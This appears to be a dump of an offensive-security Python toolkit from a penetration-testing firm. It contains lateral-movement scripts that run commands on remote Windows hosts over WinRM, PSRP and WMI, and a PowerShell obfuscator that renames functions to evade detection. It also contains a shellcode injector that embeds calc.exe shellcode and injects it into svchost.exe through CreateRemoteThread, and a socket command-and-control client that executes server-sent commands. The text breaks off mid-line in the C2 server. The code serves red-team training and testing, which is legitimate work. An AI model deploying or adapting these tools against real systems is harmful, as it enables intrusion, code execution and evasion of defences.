52 | -------------------------------------------------------------------------------- /pivot_psremoting.py: -------------------------------------------------------------------------------- 1 | from pypsrp.powershell import PowerShell, RunspacePool 2 | from pypsrp.wsman import WSMan 3 | import sys 4 | 5 | ''' 6 | Author: Mike Felch (c) 2020, @ustayready 7 | - 8 | Copyright 2020 Mike Felch 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 11 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 12 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 18 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | ''' 21 | 22 | def main(host, username, password, command): 23 | wsman = WSMan(host, username=username, 24 | password=password, 25 | cert_validation=False) 26 | 27 | with RunspacePool(wsman) as pool: 28 | ps = PowerShell(pool) 29 | ps.add_cmdlet(command) 30 | ps.invoke() 31 | 32 | print(ps.output[0]) 33 | 34 | if __name__ == '__main__': 35 | host = sys.argv[1] 36 | username = sys.argv[2] 37 | password = sys.argv[3] 38 | command = sys.argv[4] 39 | 40 | main(host, username, password, command) -------------------------------------------------------------------------------- /pivot_winrm.py: -------------------------------------------------------------------------------- 1 | from winrm.protocol import Protocol 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(computer, username, password, command): 22 | p = Protocol( 23 | endpoint='https://{}:5986/wsman'.format(computer), 24 | transport='ntlm', 25 | username=username, 26 | password=password, 27 | server_cert_validation='ignore' 28 | ) 29 | 30 | shell_id = p.open_shell() 31 | #command_id = p.run_command(shell_id, 'query', ['user']) 32 | command_id = p.run_command(shell_id,command, []) 33 | std_out, std_err, status_code = p.get_command_output(shell_id, command_id) 34 | p.cleanup_command(shell_id, command_id) 35 | p.close_shell(shell_id) 36 | 37 | if __name__ == '__main__': 38 | computer = sys.argv[1] 39 | username = sys.argv[2] 40 | password = sys.argv[3] 41 | command = sys.argv[4] 42 | 43 | main(computer, username, password, command) -------------------------------------------------------------------------------- /pivot_wmi.py: -------------------------------------------------------------------------------- 1 | from socket import * 2 | import wmi 3 | import time 4 | import sys 5 | 6 | ''' 7 | Author: Mike Felch (c) 2020, @ustayready 8 | - 9 | Copyright 2020 Mike Felch 10 | 11 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 12 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 13 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 19 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | ''' 22 | 23 | def main(host, username, password, command_path): 24 | SW_SHOWNORMAL = 1 25 | 26 | c = wmi.WMI(host, user=username, password=password) 27 | process_startup = c.Win32_ProcessStartup.new() 28 | process_startup.ShowWindow = SW_SHOWNORMAL 29 | process_id, result = c.Win32_Process.Create(CommandLine=command_path,ProcessStartupInformation=process_startup) 30 | 31 | if result == 0: 32 | print("Execution success: {} pid".format(process_id)) 33 | else: 34 | print("Execution failed: {}".format(result)) 35 | 36 | if __name__ == '__main__': 37 | host = sys.argv[1] 38 | username = sys.argv[2] 39 | password = sys.argv[3] 40 | command_path = sys.argv[4] 41 | 42 | main(host, username, password, command_path) -------------------------------------------------------------------------------- /powerstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import sys 5 | import re 6 | import os 7 | __version__ = '1.0.3' 8 | __author__ = 'Joff Thyer' 9 | 10 | 11 | class PowerStrip(): 12 | 13 | functions = {} 14 | 15 | def __init__(self, filename, stutter=False): 16 | self.filename = filename 17 | self.stutter = stutter 18 | try: 19 | rootname, ext = os.path.basename(filename).split('.') 20 | except Exception as e: 21 | print('{}: ps1 extension?'.format(e)) 22 | sys.exit(1) 23 | self.outputfile = '{}-stripped.{}'.format(rootname, ext) 24 | self.run() 25 | 26 | def run(self): 27 | print('[*] Reading Input file: {}'.format(self.filename)) 28 | infile = open(self.filename, 'rt') 29 | self.contents = infile.readlines() 30 | infile.close() 31 | self.process_file() 32 | print('[*] Writing Output file: {}'.format(self.outputfile)) 33 | outfile = open(self.outputfile, 'wt') 34 | outfile.writelines(self.results) 35 | outfile.close() 36 | 37 | def process_file(self): 38 | self.results = [] 39 | skip = False 40 | rxp = re.compile(r'function\s([A-Za-z]+-[A-Za-z]+)') 41 | for line in self.contents: 42 | if self.stutter: 43 | m = rxp.match(line) 44 | if m: 45 | self.functions[m.group(1)] = True 46 | if '<#' in line: 47 | skip = True 48 | continue 49 | elif '#>' in line: 50 | skip = False 51 | continue 52 | elif re.match(r'^\s*#.*$', line): 53 | continue 54 | if not skip: 55 | self.results.append(line) 56 | 57 | print('[*] {} lines in original script.'.format(len(self.contents))) 58 | print('[*] {} lines in new script.'.format(len(self.results))) 59 | print('[*] {} total lines removed.'.format(len(self.contents) - len(self.results))) 60 | 61 | if not self.stutter: 62 | return 63 | 64 | print('[*] Detected Function Names:') 65 | out = '' 66 | for f in sorted(self.functions.keys()): 67 | out += '{}, '.format(f) 68 | if len(out) > 60: 69 | print(' [+] {}'.format(out)) 70 | out = '' 71 | if len(out) < 60: 72 | print(' [+] {}'.format(out[:-2])) 73 | # fix function names 74 | replaced = 0 75 | for i, line in enumerate(self.results): 76 | for f in self.functions: 77 | if f in line: 78 | self.results[i] = line.replace(f, f[0] + f) 79 | replaced += 1 80 | print('[*] {} total function names detected.'.format(len(self.functions))) 81 | print('[*] {} function name substitutions.'.format(replaced)) 82 | 83 | if __name__ == '__main__': 84 | progname = os.path.basename(sys.argv[0]).split('.')[0].title() 85 | banner = '''\ 86 | [*] -------------------------------------------- 87 | [*] {}, Version: {} 88 | [*] Author: {}, (c) 2020 89 | [*] -------------------------------------------- 90 | '''.format(progname, __version__, __author__) 91 | print(banner) 92 | parser = argparse.ArgumentParser() 93 | parser.add_argument('filename') 94 | parser.add_argument( 95 | '-s', '--stutter', default=False, action='store_true', 96 | help='''\ 97 | Modify function names by adding additional letter at beginning. 98 | "Invoke-Fun" becomes "IInvoke-Fun" for example.''' 99 | ) 100 | args = parser.parse_args() 101 | ps = PowerStrip(args.filename, args.stutter) -------------------------------------------------------------------------------- /pyinjector.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import ctypes 3 | import ctypes.wintypes as wt 4 | import psutil 5 | import random 6 | import os 7 | import platform 8 | import sys 9 | try: 10 | input = raw_input 11 | except: 12 | pass 13 | 14 | 15 | class InjectProcess(): 16 | calc_x86 = "" 17 | calc_x86 += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" 18 | calc_x86 += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" 19 | calc_x86 += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" 20 | calc_x86 += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" 21 | calc_x86 += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" 22 | calc_x86 += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" 23 | calc_x86 += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" 24 | calc_x86 += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" 25 | calc_x86 += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" 26 | calc_x86 += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" 27 | calc_x86 += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" 28 | calc_x86 += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" 29 | calc_x86 += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" 30 | calc_x86 += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 31 | calc_x86 += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" 32 | 33 | calc_x64 = "" 34 | calc_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" 35 | calc_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" 36 | calc_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" 37 | calc_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" 38 | calc_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" 39 | calc_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" 40 | calc_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" 41 | calc_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" 42 | calc_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" 43 | calc_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" 44 | calc_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" 45 | calc_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" 46 | calc_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" 47 | calc_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 48 | calc_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" 49 | calc_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" 50 | calc_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" 51 | calc_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" 52 | calc_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" 53 | calc_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" 54 | calc_x64 += "\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" 55 | calc_x64 += "\x78\x65\x00" 56 | 57 | PROCESS_SOME_ACCESS = 0x000028 58 | MEM_COMMIT = 0x1000 59 | MEM_RESERVE = 0x2000 60 | MEM_COMMIT_RESERVE = 0x3000 61 | 62 | PAGE_READWRITE = 0x04 63 | PAGE_READWRITE_EXECUTE = 0x40 64 | PAGE_READ_EXECUTE = 0x20 65 | 66 | def __init__(self, shellcode=None): 67 | self.kernel32 = ctypes.windll.kernel32 68 | self.kernel32_function_definitions() 69 | domain = os.getenv('USERDOMAIN') 70 | name = os.getenv('USERNAME') 71 | self.username = '{}\\{}'.format(domain, name).lower() 72 | if shellcode is None and platform.architecture()[0] == '64bit': 73 | print('[*] Architecture is 64-bit.') 74 | self.shellcode = self.calc_x64 75 | else: 76 | print('[*] Architecture is 32-bit.') 77 | self.shellcode = self.calc_x86 78 | 79 | menu = """ 80 | ____________________________________________________________________ 81 | 82 | Python Proof of Concept Shellcode Injection Techniques 83 | Author: Joff Thyer (c) 2020, Black Hills Information Security 84 | 85 | 1. Inject Shellcode using VirtualAlloc() within Python process. 86 | 2. Inject Shellcode using a created Heap within Python process. 87 | 3. Find a process that the user owns, and use CreateRemoteThread(). 88 | 89 | 9. Exit Program 90 | _____________________________________________________________________ 91 | 92 | """ 93 | 94 | done = False 95 | while not done: 96 | print(menu) 97 | try: 98 | s = int(input(" Enter your selection: ")) 99 | except: 100 | continue 101 | if s == 1: 102 | self.same_process_virtualalloc() 103 | elif s == 2: 104 | self.same_process_heapalloc() 105 | 106 | elif s == 3: 107 | self.inject_process_CreateRemoteThread() 108 | elif s == 9: 109 | done = True 110 | 111 | def kernel32_function_definitions(self): 112 | # Define argument types for Kernel32 functions 113 | 114 | # CloseHandle() 115 | self.CloseHandle = ctypes.windll.kernel32.CloseHandle 116 | self.CloseHandle.argtypes = [wt.HANDLE] 117 | self.CloseHandle.restype = wt.BOOL 118 | 119 | # CreateThread() 120 | self.CreateThread = ctypes.windll.kernel32.CreateThread 121 | self.CreateThread.argtypes = [ 122 | wt.LPVOID, ctypes.c_size_t, wt.LPVOID, 123 | wt.LPVOID, wt.DWORD, wt.LPVOID 124 | ] 125 | self.CreateThread.restype = wt.HANDLE 126 | 127 | # CreateRemoteThread() 128 | self.CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread 129 | self.CreateRemoteThread.argtypes = [ 130 | wt.HANDLE, wt.LPVOID, ctypes.c_size_t, 131 | wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID 132 | ] 133 | self.CreateRemoteThread.restype = wt.HANDLE 134 | 135 | # HeapAlloc() 136 | self.HeapAlloc = ctypes.windll.kernel32.HeapAlloc 137 | self.HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t] 138 | self.HeapAlloc.restype = wt.LPVOID 139 | 140 | # HeapCreate() 141 | self.HeapCreate = ctypes.windll.kernel32.HeapCreate 142 | self.HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t] 143 | self.HeapCreate.restype = wt.HANDLE 144 | 145 | # OpenProcess() 146 | self.OpenProcess = ctypes.windll.kernel32.OpenProcess 147 | self.OpenProcess.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD] 148 | self.OpenProcess.restype = wt.HANDLE 149 | 150 | # RtlMoveMemory() 151 | self.RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory 152 | self.RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t] 153 | self.RtlMoveMemory.restype = wt.LPVOID 154 | 155 | # VirtualAlloc() 156 | self.VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc 157 | self.VirtualAlloc.argtypes = [ 158 | wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD 159 | ] 160 | self.VirtualAlloc.restype = wt.LPVOID 161 | 162 | # VirtualAllocEx() 163 | self.VirtualAllocEx = ctypes.windll.kernel32.VirtualAllocEx 164 | self.VirtualAllocEx.argtypes = [ 165 | wt.HANDLE, wt.LPVOID, ctypes.c_size_t, 166 | wt.DWORD, wt.DWORD 167 | ] 168 | self.VirtualAllocEx.restype = wt.LPVOID 169 | 170 | # VirtualFreeEx() 171 | self.VirtualFreeEx = ctypes.windll.kernel32.VirtualFreeEx 172 | self.VirtualFreeEx.argtypes = [ 173 | wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD 174 | ] 175 | self.VirtualFreeEx.restype = wt.BOOL 176 | 177 | # VirtualProtect() 178 | self.VirtualProtect = ctypes.windll.kernel32.VirtualProtect 179 | self.VirtualProtect.argtypes = [ 180 | wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.LPVOID 181 | ] 182 | self.VirtualProtect.restype = wt.BOOL 183 | 184 | # VirtualProtectEx() 185 | self.VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx 186 | self.VirtualProtectEx.argtypes = [ 187 | wt.HANDLE, wt.LPVOID, ctypes.c_size_t, 188 | wt.DWORD, wt.LPVOID 189 | ] 190 | self.VirtualProtectEx.restype = wt.BOOL 191 | 192 | # WaitForSingleObject 193 | self.WaitForSingleObject = self.kernel32.WaitForSingleObject 194 | self.WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD] 195 | self.WaitForSingleObject.restype = wt.DWORD 196 | 197 | # WriteProcessMemory() 198 | self.WriteProcessMemory = self.kernel32.WriteProcessMemory 199 | self.WriteProcessMemory.argtypes = [ 200 | wt.HANDLE, wt.LPVOID, wt.LPCVOID, 201 | ctypes.c_size_t, wt.LPVOID 202 | ] 203 | self.WriteProcessMemory.restype = wt.BOOL 204 | 205 | def select_pid(self): 206 | candidates = {} 207 | for pid in psutil.pids(): 208 | p = psutil.Process(pid) 209 | try: 210 | name = p.name() 211 | username = p.username().lower() 212 | except: 213 | continue 214 | if self.username == username and name == 'svchost.exe': 215 | candidates[pid] = name 216 | choice = random.choice(list(candidates.keys())) 217 | print('[*] Selected Process ID: {} ({}) to Inject'.format( 218 | choice, candidates[choice] 219 | )) 220 | return int(choice) 221 | 222 | def same_process_virtualalloc(self): 223 | print(""" 224 | [*] ============================================= 225 | [*] Shellcode Resident in Same Process using 226 | [*] VirtualAlloc()/CreateThread()! 227 | [*] =============================================""") 228 | memptr = self.VirtualAlloc( 229 | 0, len(self.shellcode), 230 | self.MEM_COMMIT, self.PAGE_READWRITE_EXECUTE 231 | ) 232 | print('[*] VirtuallAlloc() Memory at: {:08X}'.format(memptr)) 233 | self.RtlMoveMemory(memptr, self.shellcode, len(self.shellcode)) 234 | print('[*] Shellcode copied into memory.') 235 | self.VirtualProtect(memptr, len(self.shellcode), self.PAGE_READ_EXECUTE, 0) 236 | print('[*] Changed permissions on memory to READ_EXECUTE only.') 237 | thread = self.CreateThread(0, 0, memptr, 0, 0, 0) 238 | print('[*] CreateThread() in same process.') 239 | self.WaitForSingleObject(thread, 0xFFFFFFFF) 240 | 241 | def same_process_heapalloc(self): 242 | print(""" 243 | [*] =========================================== 244 | [*] Shellcode Resident in Same Process using 245 | [*] HeapAlloc()/CreateThread()!' 246 | [*] ===========================================""") 247 | heap = self.HeapCreate(0x00040000, len(self.shellcode), 0) 248 | self.HeapAlloc(heap, 0x00000008, len(self.shellcode)) 249 | print('[*] HeapAlloc() Memory at: {:08X}'.format(heap)) 250 | self.RtlMoveMemory(heap, self.shellcode, len(self.shellcode)) 251 | print('[*] Shellcode copied into memory.') 252 | thread = self.CreateThread(0, 0, heap, 0, 0, 0) 253 | print('[*] CreateThread() in same process.') 254 | self.WaitForSingleObject(thread, 0xFFFFFFFF) 255 | 256 | def inject_process_CreateRemoteThread(self): 257 | print(""" 258 | [*] ======================================================= 259 | [*] Find a process to inject shellcode into using process 260 | [*] listing, then VirtualAllocEx(), WriteProcessMemory(), 261 | [*] CreateRemoteThread() 262 | [*] =======================================================""") 263 | pid = self.select_pid() 264 | ph = self.kernel32.OpenProcess(self.PROCESS_SOME_ACCESS, False, pid) 265 | print('[*] Process handle is: 0x{:06X}'.format(ph)) 266 | if ph == 0: 267 | return 268 | 269 | memptr = self.VirtualAllocEx( 270 | ph, 0, len(self.shellcode), 271 | self.MEM_COMMIT_RESERVE, 272 | self.PAGE_READWRITE 273 | ) 274 | print('[*] VirtualAllocEx() memory at: 0x{:08X}'.format(memptr)) 275 | if memptr == 0: 276 | return 277 | 278 | nbytes = ctypes.c_int(0) 279 | result = self.WriteProcessMemory( 280 | ph, memptr, self.shellcode, 281 | len(self.shellcode), ctypes.byref(nbytes) 282 | ) 283 | print('[+] Bytes written = {}'.format(nbytes.value)) 284 | if result == 0: 285 | print("[-] WriteProcessMemory() Failed - Error Code: {}".format( 286 | self.kernel32.GetLastError() 287 | )) 288 | return 289 | 290 | old_protection = ctypes.pointer(wt.DWORD()) 291 | result = self.VirtualProtectEx( 292 | ph, memptr, len(self.shellcode), 293 | self.PAGE_READ_EXECUTE, old_protection 294 | ) 295 | if result == 0: 296 | print("[-] VirtualProtectEx() Failed - Error Code: {}".format( 297 | self.kernel32.GetLastError() 298 | )) 299 | return 300 | th = self.CreateRemoteThread(ph, None, 0, memptr, None, 0, None) 301 | if th == 0: 302 | print("[-] CreateRemoteThread() Failed - Error Code: {}".format( 303 | self.kernel32.GetLastError() 304 | )) 305 | return 306 | self.VirtualFreeEx(ph, memptr, 0, 0xC000) 307 | self.CloseHandle(ph) 308 | 309 | 310 | if __name__ == '__main__': 311 | InjectProcess() -------------------------------------------------------------------------------- /pymeta.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import argparse 4 | import zipfile 5 | import PyPDF2 6 | from lxml import etree as ET 7 | 8 | 9 | class PyMetaExtractor(): 10 | 11 | ext = ['docx', 'xlsx', 'pptx', 'pdf'] 12 | rexp = re.compile(r'.+\.({})$'.format('|'.join(ext))) 13 | def __init__(self, directory): 14 | self.directory = os.path.abspath(directory) 15 | print("[*] Starting to search from: [{}]".format(self.directory)) 16 | return 17 | 18 | def run(self): 19 | for cwd, lod, lof in os.walk(self.directory): 20 | for f in lof: 21 | m = self.rexp.match(f) 22 | if m: 23 | fullpath = os.path.join(cwd, f) 24 | try: 25 | print('[*] {}'.format(fullpath)) 26 | if m.group(1) == 'pdf': 27 | self.pdf(fullpath) 28 | else: 29 | self.openxml(fullpath) 30 | print('') 31 | except: 32 | continue 33 | 34 | def openxml(self, pathname): 35 | zf = zipfile.ZipFile(pathname, 'r') 36 | docprops = ET.fromstring(zf.read('docProps/core.xml')) 37 | for meta in docprops.findall('*'): 38 | if meta.tag[0] == '{': 39 | tag = meta.tag.split('}')[1].title() 40 | else: 41 | tag = meta.tag.title() 42 | value = meta.text 43 | print(' [+] {:15s} => {}'.format(tag, value)) 44 | 45 | def pdf(self, pathname): 46 | reader = PyPDF2.PdfFileReader(pathname) 47 | meta = reader.getDocumentInfo() 48 | for key in meta: 49 | tag = key.lstrip('/') 50 | value = meta[key] 51 | print(' [+] {:15s} => {}'.format(tag, value)) 52 | 53 | if __name__ == '__main__': 54 | print(''' 55 | _______________________________________ 56 | 57 | PyMeta version 1.0 58 | Author: Joff Thyer (c) 2020 59 | Black Hills Information Security 60 | _______________________________________ 61 | ''') 62 | parser = argparse.ArgumentParser() 63 | parser.add_argument('directory', help='starting directory') 64 | args = parser.parse_args() 65 | pm = PyMetaExtractor(args.directory) 66 | pm.run() -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pywinrm 2 | pypsrp 3 | wmi 4 | boto3 5 | azure 6 | oauth2client 7 | lxml 8 | PyPDF2 9 | requests 10 | requestium 11 | selenium 12 | bs4 13 | scapy 14 | shodan 15 | -------------------------------------------------------------------------------- /shodan_search.py: -------------------------------------------------------------------------------- 1 | from shodan import Shodan 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(api_key, search): 22 | api = Shodan(api_key) 23 | 24 | for result in api.search_cursor(search): 25 | print(result['hostnames']) 26 | 27 | if __name__ == '__main__': 28 | api_key = sys.argv[1] 29 | search = sys.argv[2] 30 | 31 | main(api_key, search) 32 | -------------------------------------------------------------------------------- /socket_c2_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | import sys 4 | import time 5 | 6 | ''' 7 | Author: Mike Felch (c) 2020, @ustayready 8 | - 9 | Copyright 2020 Mike Felch 10 | 11 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 12 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 13 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 19 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | ''' 22 | 23 | def main(): 24 | c2_server = '127.0.0.1' 25 | c2_port = 777 26 | 27 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: 28 | sock.connect((c2_server, c2_port)) 29 | listen_commands(sock) 30 | 31 | def listen_commands(sock): 32 | sock.sendall('check-in'.encode('utf-8')) 33 | while True: 34 | command = sock.recv(1024).decode('utf-8') 35 | print(f'Received command from server: {command}') 36 | if command == 'die': 37 | sys.exit(1) 38 | command_results = subprocess.getoutput(command) 39 | sock.sendall(command_results.encode('utf-8')) 40 | 41 | if __name__ == '__main__': 42 | main() -------------------------------------------------------------------------------- /socket_c2_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | import time 4 | 5 | ''' 6 | Author: Mike Felch (c) 2020, @ustayready 7 | - 8 | Copyright 2020 Mike Felch 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 11 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 12 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 18 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | ''' 21 | 22 | def main(): 23 | host = '127.0.0.1' 24 | port = 777 25 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 26 | print(f'Listening on {host} port {port}') 27 | s.bind((host,port)) 28 | s.listen() 29 | while True: 30 | conn, addr = s.accept() 31 | with conn: 32 | print(f'Connection! 